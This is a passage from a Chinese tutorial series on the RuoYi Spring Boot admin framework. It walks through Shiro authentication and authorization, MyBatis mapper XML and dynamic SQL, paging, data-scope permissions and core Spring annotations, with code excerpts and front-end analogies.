 * 数据权限过滤注解
 * 
 * @author ruoyi
 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface DataScope {
    /**
     * 部门表的别名
     */
    public String deptAlias() default "";

    /**
     * 用户表的别名
     */
    public String userAlias() default "";
}

数据权限类型

类型	说明
全部数据权限	可以看到所有数据
自定义数据权限	只能看到指定部门的数据
本部门数据权限	只能看到本部门的数据
本部门及以下数据权限	可以看到本部门及下级部门的数据
仅本人数据权限	只能看到自己的数据

复习卡片

// 用户管理核心流程
// 1. 新增用户
user.setSalt(ShiroUtils.randomSalt());
user.setPassword(passwordService.encryptPassword(...));
userService.insertUser(user);

// 2. 验证密码
passwordService.matches(user, inputPassword);

// 3. 数据权限
@DataScope(deptAlias = "d", userAlias = "u")
public List<SysUser> selectUserList(SysUser user);

// 4. 用户状态
// 0 = 正常
// 1 = 停用
// 2 = 删除（逻辑删除）

// 5. 密码加密
// MD5(loginName + password + salt) 迭代 2 次

类名	职责
`SysUser`	用户实体类
`ISysUserService`	用户服务接口
`SysUserServiceImpl`	用户服务实现
`SysUserController`	用户控制器
`PasswordService`	密码加密服务
`UserStatus`	用户状态枚举

[!TIP] 下一步：阶段六：角色与菜单管理

在阶段六中，我们将深入理解 RBAC 权限模型，以及角色和菜单的关联关系。

RuoYi 阶段四：Shiro 权限框架

Mon, 07 Sep 2026 06:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段四，聚焦 Shiro 权限框架。学完本篇你应该能：

理解 Shiro 的认证和授权机制

掌握 Realm 的配置和使用

知道 RuoYi 是如何实现权限控制的

前端视角：Shiro 像什么？

Shiro	前端类比
Authentication（认证）	登录验证（username/password）
Authorization（授权）	路由守卫 + 按钮级权限
Session	LocalStorage / SessionStorage
Realm	用户数据源（API 接口）
`@RequiresPermissions`	`v-if="hasPermission('xxx')"`

Shiro 核心概念

1. 四大核心功能

┌─────────────────────────────────────────────────────────┐
│                      Shiro 架构                          │
├─────────────────────────────────────────────────────────┤
│  Authentication（认证）  │  用户登录验证                  │
│  Authorization（授权）   │  权限检查                      │
│  Session Management     │  会话管理                      │
│  Cryptography           │  加密解密                      │
└─────────────────────────────────────────────────────────┘

2. 核心组件

组件	说明
`Subject`	当前用户（主体）
`SecurityManager`	安全管理器（核心）
`Realm`	数据源（连接数据库）
`Session`	会话管理
`Cache`	缓存管理

RuoYi 中的 Shiro 配置

1. ShiroConfig 配置类

// src/main/java/com/ruoyi/framework/config/ShiroConfig.java
package com.ruoyi.framework.config;

import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.Filter;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.apache.shiro.web.servlet.SimpleCookie;
import org.apache.shiro.web.session.mgt.DefaultWebSessionManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.ruoyi.framework.shiro.realm.UserRealm;
import com.ruoyi.framework.shiro.session.OnlineSessionDAO;
import com.ruoyi.framework.shiro.session.OnlineSessionFactory;
import com.ruoyi.framework.shiro.web.filter.LogoutFilter;
import com.ruoyi.framework.shiro.web.filter.captcha.CaptchaValidateFilter;
import com.ruoyi.framework.shiro.web.filter.kickout.KickoutSessionFilter;
import com.ruoyi.framework.shiro.web.filter.online.OnlineSessionFilter;
import com.ruoyi.framework.shiro.web.filter.sync.SyncOnlineSessionFilter;

/**
 * Shiro 配置
 * 
 * @author ruoyi
 */
@Configuration
public class ShiroConfig {
    
    /**
     * 安全管理器
     */
    @Bean
    public SecurityManager securityManager(UserRealm userRealm) {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        // 设置 Realm
        securityManager.setRealm(userRealm);
        // 设置 Session 管理器
        securityManager.setSessionManager(sessionManager());
        return securityManager;
    }
    
    /**
     * Shiro 过滤器配置
     */
    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean();
        factoryBean.setSecurityManager(securityManager);
        
        // 配置过滤链
        Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
        
        // 匿名访问（不需要登录）
        filterChainDefinitionMap.put("/login", "anon");
        filterChainDefinitionMap.put("/logout", "logout");
        filterChainDefinitionMap.put("/captcha/captchaImage**", "anon");
        filterChainDefinitionMap.put("/css/**", "anon");
        filterChainDefinitionMap.put("/js/**", "anon");
        filterChainDefinitionMap.put("/img/**", "anon");
        filterChainDefinitionMap.put("/ajax/**", "anon");
        filterChainDefinitionMap.put("/fonts/**", "anon");
        filterChainDefinitionMap.put("/druid/**", "anon");
        
        // 需要认证访问
        filterChainDefinitionMap.put("/**", "authc");
        
        factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
        
        // 自定义过滤器
        Map<String, Filter> filters = new LinkedHashMap<>();
        filters.put("onlineSession", onlineSessionFilter());
        filters.put("syncOnlineSession", syncOnlineSessionFilter());
        filters.put("captchaValidate", captchaValidateFilter());
        filters.put("kickout", kickoutSessionFilter());
        factoryBean.setFilters(filters);
        
        return factoryBean;
    }
    
    /**
     * Session 管理器
     */
    @Bean
    public DefaultWebSessionManager sessionManager() {
        DefaultWebSessionManager sessionManager = new DefaultWebSessionManager();
        // 设置 Session 超时时间（毫秒）
        sessionManager.setGlobalSessionTimeout(1800000);  // 30 分钟
        // 设置 Session DAO
        sessionManager.setSessionDAO(onlineSessionDAO());
        // 设置 Session 工厂
        sessionManager.setSessionFactory(onlineSessionFactory());
        // 设置 Cookie
        sessionManager.setSessionIdCookie(sessionIdCookie());
        // 禁用 URL 重写（防止 JSESSIONID 暴露在 URL 中）
        sessionManager.setSessionIdUrlRewritingEnabled(false);
        return sessionManager;
    }
    
    /**
     * 开启 Shiro 注解支持
     */
    @Bean
    public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {
        AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor();
        advisor.setSecurityManager(securityManager);
        return advisor;
    }
}

2. UserRealm 数据源

Realm 是 Shiro 连接数据库的桥梁：

// src/main/java/com/ruoyi/framework/shiro/realm/UserRealm.java
package com.ruoyi.framework.shiro.realm;

import java.util.HashSet;
import java.util.Set;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.ExcessiveAttemptsException;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.LockedAccountException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.framework.shiro.service.PasswordService;
import com.ruoyi.system.service.ISysMenuService;
import com.ruoyi.system.service.ISysRoleService;

/**
 * 自定义 Realm 处理登录 权限
 * 
 * @author ruoyi
 */
public class UserRealm extends AuthorizingRealm {
    private static final Logger log = LoggerFactory.getLogger(UserRealm.class);

    @Autowired
    private ISysMenuService menuService;
    
    @Autowired
    private ISysRoleService roleService;
    
    @Autowired
    private PasswordService passwordService;

    /**
     * 授权（权限检查）
     */
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection arg0) {
        SysUser user = ShiroUtils.getSysUser();
        SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
        
        // 角色加载
        Set<String> roles = roleService.selectRoleKeys(user.getUserId());
        // 权限加载
        Set<String> menus = menuService.selectPermsByUserId(user.getUserId());
        
        info.setRoles(roles);
        info.setStringPermissions(menus);
        
        return info;
    }

    /**
     * 认证（登录验证）
     */
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) 
            throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        String password = new String(upToken.getPassword());

        // 1. 查询用户
        SysUser user = passwordService.loginPreCheck(username, password);
        
        // 2. 验证用户状态
        if (user == null) {
            throw new UnknownAccountException("用户不存在");
        }
        if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) {
            throw new UnknownAccountException("用户已被删除");
        }
        if (UserStatus.DISABLE.getCode().equals(user.getStatus())) {
            throw new LockedAccountException("用户已被停用");
        }
        
        // 3. 验证密码
        if (!passwordService.matches(user, password)) {
            throw new IncorrectCredentialsException("密码错误");
        }
        
        // 4. 返回认证信息
        return new SimpleAuthenticationInfo(user, password, getName());
    }
}

认证流程

用户提交登录表单
    ↓
Shiro 拦截请求
    ↓
调用 UserRealm.doGetAuthenticationInfo()
    ↓
查询数据库验证用户
    ↓
验证密码（加密对比）
    ↓
创建 Session
    ↓
登录成功，跳转到首页

登录 Controller

// src/main/java/com/ruoyi/web/controller/common/SysLoginController.java
@Controller
public class SysLoginController {
    
    @Autowired
    private ISysMenuService menuService;
    
    @Autowired
    private PasswordService passwordService;

    @GetMapping("/login")
    public String login(HttpServletRequest request, HttpServletResponse response) {
        // 如果已经登录，直接跳转到首页
        if (ShiroUtils.isLogin()) {
            return "redirect:/index";
        }
        return "login";
    }

    @PostMapping("/login")
    @ResponseBody
    public AjaxResult ajaxLogin(String username, String password, String rememberMe) {
        // 1. 验证码检查
        String captcha = ServletUtils.getParameter("validateCode");
        if (StringUtils.isNotEmpty(captcha) && !validateCaptcha(captcha)) {
            return error("验证码错误");
        }
        
        // 2. Shiro 认证
        UsernamePasswordToken token = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(token);
            return success();
        } catch (AuthenticationException e) {
            return error(e.getMessage());
        }
    }
}

授权流程

用户访问受保护资源
    ↓
Shiro 拦截请求
    ↓
调用 UserRealm.doGetAuthorizationInfo()
    ↓
查询用户角色和权限
    ↓
检查是否有权限
    ↓
有权限：放行；无权限：抛出异常

权限注解使用

// Controller 中使用 @RequiresPermissions
@RestController
@RequestMapping("/system/user")
public class SysUserController {
    
    // 需要 system:user:view 权限
    @RequiresPermissions("system:user:view")
    @GetMapping()
    public String user() {
        return "system/user/user";
    }
    
    // 需要 system:user:list 权限
    @RequiresPermissions("system:user:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
        List<SysUser> list = userService.selectUserList(user);
        return getDataTable(list);
    }
    
    // 需要 system:user:add 权限
    @RequiresPermissions("system:user:add")
    @Log(title = "用户管理", businessType = BusinessType.INSERT)
    @PostMapping("/add")
    @ResponseBody
    public AjaxResult addSave(SysUser user) {
        return toAjax(userService.insertUser(user));
    }
}

权限标识规范

RuoYi 的权限标识格式：模块:功能:操作

权限标识	说明
`system:user:view`	查看用户列表
`system:user:list`	查询用户数据
`system:user:add`	新增用户
`system:user:edit`	修改用户
`system:user:remove`	删除用户
`system:user:export`	导出用户
`system:user:import`	导入用户
`system:user:resetPwd`	重置密码

Session 管理

1. 在线用户管理

// src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
@Controller
@RequestMapping("/monitor/online")
public class SysUserOnlineController extends BaseController {
    
    @Autowired
    private ISysUserOnlineService userOnlineService;

    // 查询在线用户列表
    @RequiresPermissions("monitor:online:view")
    @GetMapping()
    public String online() {
        return prefix + "/online";
    }

    // 强退用户
    @RequiresPermissions("monitor:online:forceLogout")
    @Log(title = "在线用户", businessType = BusinessType.FORCE)
    @PostMapping("/forceLogout")
    @ResponseBody
    public AjaxResult forceLogout(String sessionId) {
        userOnlineService.forceLogout(sessionId);
        return success();
    }
}

2. Session 踢人功能

防止同一账号多地登录：

// src/main/java/com/ruoyi/framework/shiro/web/filter/kickout/KickoutSessionFilter.java
public class KickoutSessionFilter extends AccessControlFilter {
    
    // 同一个用户最大 Session 数
    private int maxSession = 1;
    
    // 被踢出后跳转的 URL
    private String kickoutUrl;
    
    @Override
    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, 
            Object mappedValue) throws Exception {
        Subject subject = getSubject(request, response);
        if (!subject.isAuthenticated() && !subject.isRemembered()) {
            return true;
        }
        
        Session session = subject.getSession();
        Serializable sessionId = session.getId();
        
        // 检查是否超出最大 Session 数
        List<Serializable> sessionIds = cache.get(sessionId);
        if (sessionIds != null && sessionIds.size() >= maxSession) {
            // 踢出最早的 Session
            subject.logout();
            return false;
        }
        
        return true;
    }
}

密码加密

RuoYi 使用 MD5 + Salt 加密：

// src/main/java/com/ruoyi/framework/shiro/service/PasswordService.java
@Service
public class PasswordService {
    
    // 加密算法
    private static final String ALGORITHM_NAME = "md5";
    // 加密次数
    private static final int HASH_ITERATIONS = 2;
    
    /**
     * 加密密码
     */
    public String encryptPassword(String salt, String password) {
        return new SimpleHash(ALGORITHM_NAME, password, salt, HASH_ITERATIONS).toString();
    }
    
    /**
     * 验证密码
     */
    public boolean matches(SysUser user, String newPassword) {
        return user.getPassword().equals(encryptPassword(user.getSalt(), newPassword));
    }
}

RBAC 权限模型

RuoYi 使用经典的 RBAC（Role-Based Access Control）模型：

用户 (User) ←→ 角色 (Role) ←→ 权限 (Permission/Menu)
   ↑              ↑                  ↑
   |              |                  |
sys_user    sys_role          sys_menu
   ↓              ↓                  ↓
sys_user_role  sys_role_menu

权限加载流程

用户登录时，查询用户的角色
根据角色查询对应的权限（菜单）
将权限缓存到 Session 中
后续请求直接从 Session 获取权限

复习卡片

// Shiro 核心 API
Subject subject = SecurityUtils.getSubject();  // 获取当前用户
subject.login(token);                          // 登录
subject.logout();                              // 登出
subject.isAuthenticated();                     // 是否已登录
subject.hasRole("admin");                      // 是否有角色
subject.isPermitted("system:user:view");       // 是否有权限

// 常用注解
@RequiresAuthentication    // 需要已登录
@RequiresUser              // 需要用户存在
@RequiresRoles("admin")    // 需要角色
@RequiresPermissions("system:user:view")  // 需要权限

// Realm 核心方法
doGetAuthenticationInfo()  // 认证（登录）
doGetAuthorizationInfo()   // 授权（权限）

// RBAC 模型
用户 -> 角色 -> 权限（菜单）

概念	说明
Subject	当前用户主体
SecurityManager	安全管理器
Realm	数据源（连接数据库）
Authentication	认证（登录验证）
Authorization	授权（权限检查）
Session	会话管理
RBAC	基于角色的访问控制

[!TIP] 下一步：阶段五：用户管理模块

在阶段五中，我们将深入分析用户管理模块的完整实现，包括实体类、Service、Controller 和前端页面。

RuoYi 阶段三：MyBatis 与数据库操作

Mon, 07 Sep 2026 05:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段三，聚焦 MyBatis 数据库操作。学完本篇你应该能：

理解 MyBatis 的 Mapper 接口和 XML 映射

掌握动态 SQL 的编写

知道 RuoYi 是如何进行分页查询的

前端视角：MyBatis 像什么？

MyBatis	前端类比
Mapper 接口	API 接口定义
XML 映射文件	GraphQL Schema / SQL 模板
`#{param}`	模板字符串 `${param}`
动态 SQL	条件渲染 `{condition && <Component />}`
ResultMap	数据转换/序列化

MyBatis 核心概念

1. Mapper 接口

Mapper 接口定义了数据库操作方法，不需要写实现类：

// src/main/java/com/ruoyi/system/mapper/SysUserMapper.java
package com.ruoyi.system.mapper;

import java.util.List;
import com.ruoyi.system.domain.SysUser;

/**
 * 用户表 数据层
 * 
 * @author ruoyi
 */
public interface SysUserMapper {
    /**
     * 根据条件分页查询用户列表
     */
    public List<SysUser> selectUserList(SysUser user);

    /**
     * 通过用户名查询用户
     */
    public SysUser selectUserByUserName(String userName);

    /**
     * 通过用户ID查询用户
     */
    public SysUser selectUserById(Long userId);

    /**
     * 新增用户信息
     */
    public int insertUser(SysUser user);

    /**
     * 修改用户信息
     */
    public int updateUser(SysUser user);

    /**
     * 删除用户信息
     */
    public int deleteUserById(Long userId);

    /**
     * 批量删除用户信息
     */
    public int deleteUserByIds(String[] userIds);
}

2. XML 映射文件

XML 文件定义了 SQL 语句和结果映射：

<!-- src/main/resources/mapper/system/SysUserMapper.xml -->
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.ruoyi.system.mapper.SysUserMapper">

    <resultMap type="SysUser" id="SysUserResult">
        <id     property="userId"       column="user_id"      />
        <result property="deptId"       column="dept_id"      />
        <result property="loginName"    column="login_name"   />
        <result property="userName"     column="user_name"    />
        <result property="email"        column="email"        />
        <result property="phonenumber"  column="phonenumber"  />
        <result property="sex"          column="sex"          />
        <result property="avatar"       column="avatar"       />
        <result property="password"     column="password"     />
        <result property="salt"         column="salt"         />
        <result property="status"       column="status"       />
        <result property="delFlag"      column="del_flag"     />
        <result property="loginIp"      column="login_ip"     />
        <result property="loginDate"    column="login_date"   />
        <result property="createBy"     column="create_by"    />
        <result property="createTime"   column="create_time"  />
        <result property="updateBy"     column="update_by"    />
        <result property="updateTime"   column="update_time"  />
        <result property="remark"       column="remark"       />
        <association property="dept"    column="dept_id" javaType="SysDept" resultMap="deptResult" />
        <collection  property="roles"   javaType="java.util.List"           resultMap="RoleResult" />
    </resultMap>

    <resultMap id="deptResult" type="SysDept">
        <id     property="deptId"   column="dept_id"     />
        <result property="parentId" column="parent_id"   />
        <result property="deptName" column="dept_name"   />
        <result property="orderNum" column="order_num"   />
        <result property="leader"   column="leader"      />
        <result property="status"   column="dept_status" />
    </resultMap>

    <resultMap id="RoleResult" type="SysRole">
        <id     property="roleId"       column="role_id"        />
        <result property="roleName"     column="role_name"      />
        <result property="roleKey"      column="role_key"       />
        <result property="roleSort"     column="role_sort"      />
        <result property="dataScope"     column="data_scope"    />
        <result property="status"       column="role_status"    />
    </resultMap>

    <sql id="selectUserVo">
        select u.user_id, u.dept_id, u.login_name, u.user_name, u.email, u.phonenumber, 
               u.sex, u.avatar, u.password, u.salt, u.status, u.del_flag, 
               u.login_ip, u.login_date, u.create_by, u.create_time, u.update_by, 
               u.update_time, u.remark,
               d.dept_id, d.parent_id, d.dept_name, d.order_num, d.leader, d.status as dept_status,
               r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status as role_status
        from sys_user u
        left join sys_dept d on u.dept_id = d.dept_id
        left join sys_user_role ur on u.user_id = ur.user_id
        left join sys_role r on r.role_id = ur.role_id
    </sql>

    <select id="selectUserList" parameterType="SysUser" resultMap="SysUserResult">
        <include refid="selectUserVo"/>
        where u.del_flag = '0'
        <if test="loginName != null and loginName != ''">
            AND u.login_name like concat('%', #{loginName}, '%')
        </if>
        <if test="status != null and status != ''">
            AND u.status = #{status}
        </if>
        <if test="phonenumber != null and phonenumber != ''">
            AND u.phonenumber like concat('%', #{phonenumber}, '%')
        </if>
        <if test="beginTime != null and beginTime != ''">
            AND date_format(u.create_time,'%y%m%d') &gt;= date_format(#{beginTime},'%y%m%d')
        </if>
        <if test="endTime != null and endTime != ''">
            AND date_format(u.create_time,'%y%m%d') &lt;= date_format(#{endTime},'%y%m%d')
        </if>
        <if test="deptId != null and deptId != 0">
            AND (u.dept_id = #{deptId} OR u.dept_id IN ( 
                SELECT t.dept_id FROM sys_dept t 
                WHERE find_in_set(#{deptId}, ancestors) 
            ))
        </if>
    </select>

    <select id="selectUserById" parameterType="Long" resultMap="SysUserResult">
        <include refid="selectUserVo"/>
        where u.user_id = #{userId}
    </select>

    <insert id="insertUser" parameterType="SysUser" useGeneratedKeys="true" keyProperty="userId">
        insert into sys_user(
            <if test="userId != null and userId != 0">user_id,</if>
            <if test="deptId != null and deptId != 0">dept_id,</if>
            <if test="loginName != null and loginName != ''">login_name,</if>
            <if test="userName != null and userName != ''">user_name,</if>
            <if test="email != null and email != ''">email,</if>
            <if test="phonenumber != null and phonenumber != ''">phonenumber,</if>
            <if test="sex != null and sex != ''">sex,</if>
            <if test="avatar != null and avatar != ''">avatar,</if>
            <if test="password != null and password != ''">password,</if>
            <if test="salt != null and salt != ''">salt,</if>
            <if test="status != null and status != ''">status,</if>
            <if test="createBy != null and createBy != ''">create_by,</if>
            <if test="remark != null and remark != ''">remark,</if>
            create_time
        )values(
            <if test="userId != null and userId != 0">#{userId},</if>
            <if test="deptId != null and deptId != 0">#{deptId},</if>
            <if test="loginName != null and loginName != ''">#{loginName},</if>
            <if test="userName != null and userName != ''">#{userName},</if>
            <if test="email != null and email != ''">#{email},</if>
            <if test="phonenumber != null and phonenumber != ''">#{phonenumber},</if>
            <if test="sex != null and sex != ''">#{sex},</if>
            <if test="avatar != null and avatar != ''">#{avatar},</if>
            <if test="password != null and password != ''">#{password},</if>
            <if test="salt != null and salt != ''">#{salt},</if>
            <if test="status != null and status != ''">#{status},</if>
            <if test="createBy != null and createBy != ''">#{createBy},</if>
            <if test="remark != null and remark != ''">#{remark},</if>
            sysdate()
        )
    </insert>

    <update id="updateUser" parameterType="SysUser">
        update sys_user
        <set>
            <if test="deptId != null and deptId != 0">dept_id = #{deptId},</if>
            <if test="loginName != null and loginName != ''">login_name = #{loginName},</if>
            <if test="userName != null and userName != ''">user_name = #{userName},</if>
            <if test="email != null and email != ''">email = #{email},</if>
            <if test="phonenumber != null and phonenumber != ''">phonenumber = #{phonenumber},</if>
            <if test="sex != null and sex != ''">sex = #{sex},</if>
            <if test="avatar != null and avatar != ''">avatar = #{avatar},</if>
            <if test="password != null and password != ''">password = #{password},</if>
            <if test="salt != null and salt != ''">salt = #{salt},</if>
            <if test="status != null and status != ''">status = #{status},</if>
            <if test="loginIp != null and loginIp != ''">login_ip = #{loginIp},</if>
            <if test="loginDate != null">login_date = #{loginDate},</if>
            <if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
            <if test="remark != null">remark = #{remark},</if>
            update_time = sysdate()
        </set>
        where user_id = #{userId}
    </update>

    <delete id="deleteUserById" parameterType="Long">
        delete from sys_user where user_id = #{userId}
    </delete>

    <delete id="deleteUserByIds" parameterType="Long">
        update sys_user set del_flag = '2' where user_id in
        <foreach collection="array" item="userId" open="(" separator="," close=")">
            #{userId}
        </foreach>
    </delete>

</mapper>

动态 SQL

MyBatis 提供了强大的动态 SQL 功能：

1. if 条件判断

<if test="name != null and name != ''">
    AND name = #{name}
</if>

2. where 标签

自动处理 WHERE 和 AND/OR：

<select id="selectUser" resultMap="UserResult">
    SELECT * FROM sys_user
    <where>
        <if test="name != null">
            AND name = #{name}
        </if>
        <if test="status != null">
            AND status = #{status}
        </if>
    </where>
</select>

3. set 标签

自动处理 SET 和逗号：

<update id="updateUser">
    UPDATE sys_user
    <set>
        <if test="name != null">name = #{name},</if>
        <if test="status != null">status = #{status},</if>
    </set>
    WHERE user_id = #{userId}
</update>

4. foreach 循环

<select id="selectUserByIds">
    SELECT * FROM sys_user WHERE user_id IN
    <foreach collection="array" item="id" open="(" separator="," close=")">
        #{id}
    </foreach>
</select>

5. choose/when/otherwise

类似 Java 的 switch：

<choose>
    <when test="order == 'asc'">
        ORDER BY create_time ASC
    </when>
    <otherwise>
        ORDER BY create_time DESC
    </otherwise>
</choose>

分页查询

RuoYi 使用 PageHelper 实现分页：

1. 配置 PageHelper

# application.yml
pagehelper:
  helperDialect: mysql
  reasonable: true
  supportMethodsArguments: true
  params: count=countSql

2. Controller 中使用

// BaseController.java
protected void startPage() {
    PageDomain pageDomain = TableSupport.buildPageRequest();
    Integer pageNum = pageDomain.getPageNum();
    Integer pageSize = pageDomain.getPageSize();
    if (StringUtils.isNotNull(pageNum) && StringUtils.isNotNull(pageSize)) {
        String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
        PageHelper.startPage(pageNum, pageSize, orderBy);
    }
}

// SysUserController.java
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysUser user) {
    startPage();  // 开启分页
    List<SysUser> list = userService.selectUserList(user);
    return getDataTable(list);  // 封装分页结果
}

3. 分页结果封装

// TableDataInfo.java
public class TableDataInfo {
    private long total;        // 总记录数
    private List<?> rows;      // 列表数据
    private int code;          // 状态码
    private String msg;        // 消息

    public TableDataInfo(List<?> list, int total) {
        this.rows = list;
        this.total = total;
    }
}

事务管理

RuoYi 使用 @Transactional 注解管理事务：

@Service
public class SysUserServiceImpl implements ISysUserService {
    
    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user);
        return rows;
        // 如果任何一步失败，整个事务回滚
    }
}

ResultMap 详解

ResultMap 用于映射数据库字段和 Java 对象属性：

<resultMap type="SysUser" id="SysUserResult">
    <!-- 主键映射 -->
    <id property="userId" column="user_id" />
    
    <!-- 普通字段映射 -->
    <result property="userName" column="user_name" />
    
    <!-- 一对一关联 -->
    <association property="dept" javaType="SysDept" resultMap="deptResult" />
    
    <!-- 一对多关联 -->
    <collection property="roles" javaType="java.util.List" resultMap="RoleResult" />
</resultMap>

RuoYi 中的 MyBatis 配置

# application.yml
mybatis:
  # 实体类包路径（自动扫描）
  typeAliasesPackage: com.ruoyi.**.domain
  # Mapper XML 文件位置
  mapperLocations: classpath:mapper/**/*.xml
  # MyBatis 配置文件
  configLocation: classpath:mybatis/mybatis-config.xml

<!-- mybatis-config.xml -->
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
    <settings>
        <!-- 开启驼峰命名转换 -->
        <setting name="mapUnderscoreToCamelCase" value="true"/>
        <!-- 开启延迟加载 -->
        <setting name="lazyLoadingEnabled" value="true"/>
        <!-- 设置超时时间 -->
        <setting name="defaultStatementTimeout" value="25000"/>
    </settings>
</configuration>

复习卡片

<!-- MyBatis 核心标签记忆 -->
<!-- 查询 -->
<select id="selectUser" resultMap="UserResult">
<!-- 插入 -->
<insert id="insertUser" useGeneratedKeys="true" keyProperty="userId">
<!-- 更新 -->
<update id="updateUser">
<!-- 删除 -->
<delete id="deleteUser">

<!-- 动态 SQL -->
<if test="name != null">AND name = #{name}</if>
<where>...</where>
<set>...</set>
<foreach collection="array" item="id">...</foreach>
<choose><when>...</when><otherwise>...</otherwise></choose>

<!-- 结果映射 -->
<resultMap type="User" id="UserResult">
    <id property="id" column="user_id"/>
    <result property="name" column="user_name"/>
    <association property="dept" javaType="Dept"/>
    <collection property="roles" javaType="List"/>
</resultMap>

概念	说明
Mapper 接口	定义数据库操作方法
XML 映射	编写 SQL 语句
`#{param}`	预编译参数（防 SQL 注入）
`${param}`	字符串替换（慎用）
ResultMap	字段映射配置
动态 SQL	条件拼接 SQL
PageHelper	分页插件

[!TIP] 下一步：阶段四：Shiro 权限框架

在阶段四中，我们将深入理解 Shiro 的认证和授权机制，以及 RuoYi 是如何实现权限控制的。

RuoYi 阶段二：Spring Boot 基础与项目结构

Mon, 07 Sep 2026 04:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段二，聚焦 Spring Boot 基础。学完本篇你应该能：

理解 IoC 和依赖注入的原理

掌握 Spring Boot 常用注解

知道 RuoYi 是如何组织代码的

前端视角：Spring Boot 像什么？

Spring Boot	前端类比
IoC 容器	React Context / Vue Provide-Inject
`@Autowired`	`useContext()` / `inject()`
`@Component`	注册全局组件
`@Service`	业务逻辑层（类似 Redux actions）
`@Controller`	路由处理器
`@Configuration`	配置文件
自动配置	Vite 插件自动注入

Spring Boot 核心概念

1. IoC（控制反转）与 DI（依赖注入）

传统方式（自己 new 对象）：

// 传统方式：自己创建依赖
public class UserController {
    private UserService userService = new UserServiceImpl();  // 硬编码依赖
    
    public void getUser() {
        userService.findById(1);
    }
}

Spring 方式（容器管理对象）：

// Spring 方式：容器注入依赖
@RestController
public class UserController {
    @Autowired
    private UserService userService;  // 容器自动注入
    
    @GetMapping("/user/{id}")
    public User getUser(@PathVariable Long id) {
        return userService.findById(id);
    }
}

[!TIP] IoC 的核心思想：不要自己创建对象，让容器帮你创建和管理。

类比前端：就像 React 的 Context，你不需要在每个组件里传递 props，而是从 Context 中获取。

2. Bean 的生命周期

实例化 -> 属性赋值 -> 初始化 -> 使用 -> 销毁
   ↑         ↑         ↑              ↑
   |         |         |              |
 new()   @Autowired  @PostConstruct  @PreDestroy

Spring Boot 常用注解

组件注解

注解	说明	RuoYi 中的使用
`@Component`	通用组件	工具类
`@Service`	业务逻辑层	`SysUserServiceImpl`
`@Repository`	数据访问层	MyBatis Mapper
`@Controller`	控制器层	`SysUserController`
`@RestController`	REST 控制器	返回 JSON 的接口

依赖注入注解

注解	说明
`@Autowired`	按类型自动注入
`@Qualifier`	按名称指定注入
`@Resource`	JSR-250 标准注入
`@Value`	注入配置文件值

Web 注解

注解	说明
`@RequestMapping`	通用请求映射
`@GetMapping`	GET 请求
`@PostMapping`	POST 请求
`@PutMapping`	PUT 请求
`@DeleteMapping`	DELETE 请求
`@PathVariable`	路径参数
`@RequestParam`	查询参数
`@RequestBody`	请求体

RuoYi 中的实际应用

Controller 层示例

// src/main/java/com/ruoyi/web/controller/system/SysUserController.java
package com.ruoyi.web.controller.system;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
